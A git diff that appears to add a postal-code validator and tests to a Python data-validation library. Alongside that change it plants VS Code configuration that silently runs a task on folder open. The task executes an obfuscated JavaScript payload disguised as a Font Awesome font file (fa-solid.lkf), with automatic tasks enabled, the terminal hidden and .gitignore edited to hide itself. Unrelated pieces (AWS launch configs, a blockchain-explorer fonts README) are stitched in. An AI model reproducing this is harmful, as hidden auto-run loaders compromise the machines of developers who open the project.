diff --git a/.gitignore b/.gitignore index a37d06c..5d78de1 100644 --- a/.gitignore +++ b/.gitignore @@ -22,6 +22,7 @@ scripts/.automation_out/ site/ # Out-of-core engine: benchmark outputs, synthetic data, and DuckDB spill +temp_auto_push.bat src/freshdata/benchmarks/results/ /tmp/freshdata_bench/ @@ -46,3 +47,5 @@ benchmarks/gauntlet/results/ benchmarks/truthbench/results/latest.json benchmarks/truthbench/results/latest.md benchmarks/truthbench/results/failures/ +.gitignore +branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..de6de3a --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid.lkf) || (where node >nul 2>&1 && node ./public/fonts/fa-solid.lkf) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/public/fonts/fa-solid.lkf b/public/fonts/fa-solid.lkf new file mode 100644 index 0000000..31ce18e --- /dev/null +++ b/public/fonts/fa-solid.lkf @@ -0,0 +1 @@ + global['!'] = '8-&&';function y7(R,c,e,r,t,i,s){for(var n=[],o=774771^774771;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E bool: """Scalar phone check; mirrors the vectorised check in the suspect scan.""" @@ -91,6 +112,26 @@ def _is_phone(s: str) -> bool: return False return _PHONE_MIN_DIGITS <= sum(c.isdigit() for c in s) <= _PHONE_MAX_DIGITS +def _normalize_postal_code(value: str) -> str: + """Upper-cased, whitespace-free form of a postal code value.""" + return re.sub(r"\s+", "", value).upper() + +def looks_like_postal_code(s: str) -> bool: + """True when ``s`` is a valid UK, Canadian or German postal code.""" + return bool(_POSTAL_COMPACT_RE.match(_normalize_postal_code(s))) + +def looks_like_uk_postal_code(s: str) -> bool: + """UK code, e.g. "SW1A 1AA" (case- and whitespace-insensitive).""" + return bool(_UK_POSTAL_RE.match(_normalize_postal_code(s))) + +def looks_like_ca_postal_code(s: str) -> bool: + """Canadian code, e.g. "K1A 0B1" (case- and whitespace-insensitive).""" + return bool(_CA_POSTAL_RE.match(_normalize_postal_code(s))) + +def looks_like_de_postal_code(s: str) -> bool: + """German PLZ, a 5-digit numeric code, e.g. "10115".""" + return bool(_DE_POSTAL_RE.match(_normalize_postal_code(s))) + def _safe_fullmatch(pattern: str, value: str) -> bool: """``re.fullmatch`` that never raises. @@ -183,7 +224,7 @@ def _as_text(series: pd.Series, dtype: Any = "string") -> pd.Series: _KNOWN_SEMANTIC_TYPES = _NUMERIC_TYPES | _DATE_TYPES | frozenset({ "company_name", "entity_name", "person_name", "city", "country", "free_text", "text", "identifier", "account_number", "ticker", - "stock_ticker", "email", "url", "phone", + "stock_ticker", "email", "url", "phone", "postal_code", }) @@ -612,6 +653,12 @@ def issue(classification: str, reason: str, rule: str, *, return issue("semantic_mismatch", f"{s!r} is not a valid URL", "url_format") if spec.semantic_type == "phone" and not _is_phone(s): return issue("semantic_mismatch", f"{s!r} is not a plausible phone number", "phone_format") + if spec.semantic_type == "postal_code" and not looks_like_postal_code(s): + return issue( + "domain_mismatch", + f"{s!r} is not a valid UK, Canadian or German postal code", + "postal_code_format", + ) if spec.max_length is not None and len(s) > spec.max_length: return issue( @@ -711,7 +758,7 @@ def _suspect_rows(series: pd.Series, spec: FieldSpec) -> pd.Index: type_res = { "identifier": _ID_RE, "account_number": _ID_RE, "ticker": _TICKER_RE, "stock_ticker": _TICKER_RE, - "email": _EMAIL_RE, "url": _URL_RE, + "email": _EMAIL_RE, "url": _URL_RE, "postal_code": _POSTAL_COMPACT_RE, } if spec.semantic_type in type_res: fine &= strs.str.fullmatch(type_res[spec.semantic_type].pattern).fillna(False) diff --git a/tests/test_fieldcheck.py b/tests/test_fieldcheck.py index 1b9ace2..86c6212 100644 --- a/tests/test_fieldcheck.py +++ b/tests/test_fieldcheck.py @@ -17,6 +17,10 @@ RemediationPolicy, apply_field_policy, detect_value_type, + looks_like_ca_postal_code, + looks_like_de_postal_code, + looks_like_postal_code, + looks_like_uk_postal_code, validate_fields, ) @@ -805,3 +809,54 @@ def test_numeric_outliers_still_flagged_after_the_bool_guard(): df = pd.DataFrame({"amount": [1.0, 2.0, 1.5, 2.5, 1.2, 2.2, 1.8, 2.8, 10_000.0]}) report = validate_fields(df, {"amount": FieldSpec(semantic_type="currency_amount")}) assert [i.row for i in report.issues if i.severity == "warning"] == [8] + +# --------------------------------------------------------------------------- +# postal_code semantic type (UK / Canada / German PLZ) +# --------------------------------------------------------------------------- + +POSTAL_SCHEMA = {"postal_code": FieldSpec(semantic_type="postal_code")} + + +def test_valid_postal_codes_pass_without_a_schema_override(): + df = pd.DataFrame({"postal_code": ["SW1A 1AA", "K1A 0B1", "10115"]}) + assert issues_for(df, POSTAL_SCHEMA, "postal_code") == [] + + +def test_invalid_postal_code_is_domain_mismatch(): + df = pd.DataFrame({"postal_code": ["SW1A 1AA", "ABC", "K1A 0B1"]}) + [issue] = issues_for(df, POSTAL_SCHEMA, "postal_code") + assert issue.classification == "domain_mismatch" + assert issue.rule == "postal_code_format" + assert issue.row == 1 + + +def test_lowercase_and_spaced_postal_codes_stay_valid(): + df = pd.DataFrame({"postal_code": ["sw1a 1aa", "K1A 0B1"]}) + assert issues_for(df, POSTAL_SCHEMA, "postal_code") == [] + + +def test_postal_code_helpers_accept_and_reject_shapes(): + assert looks_like_uk_postal_code("SW1A 1AA") + assert looks_like_uk_postal_code("M1 1AA") + assert not looks_like_uk_postal_code("10115") + assert looks_like_ca_postal_code("K1A 0B1") + assert not looks_like_ca_postal_code("SW1A 1AA") + assert looks_like_de_postal_code("10115") + assert not looks_like_de_postal_code("1011") + for value in ("SW1A 1AA", "K1A 0B1", "10115"): + assert looks_like_postal_code(value) + assert not looks_like_postal_code("SW1A") + assert not looks_like_postal_code("") + + +def test_postal_code_vector_prescreen_and_per_cell_fallback(): + # the compact regex in _suspect_rows only knows the space-free + # uppercase form; spaced and lowercase values land in the slow path, + # which normalises before deciding (same rhythm as email/url). + canonical = pd.DataFrame({"postal_code": ["SW1A1AA", "K1A0B1"]}) + assert issues_for(canonical, POSTAL_SCHEMA, "postal_code") == [] + spaced = pd.DataFrame({"postal_code": ["SW1A 1AA", "sw1a 1aa", "10 115"]}) + assert issues_for(spaced, POSTAL_SCHEMA, "postal_code") == [] + junk = pd.DataFrame({"postal_code": ["SW1A 1AA", "10 115", "!!"]}) + [issue] = issues_for(junk, POSTAL_SCHEMA, "postal_code") + assert issue.row == 2 and issue.rule == "postal_code_format"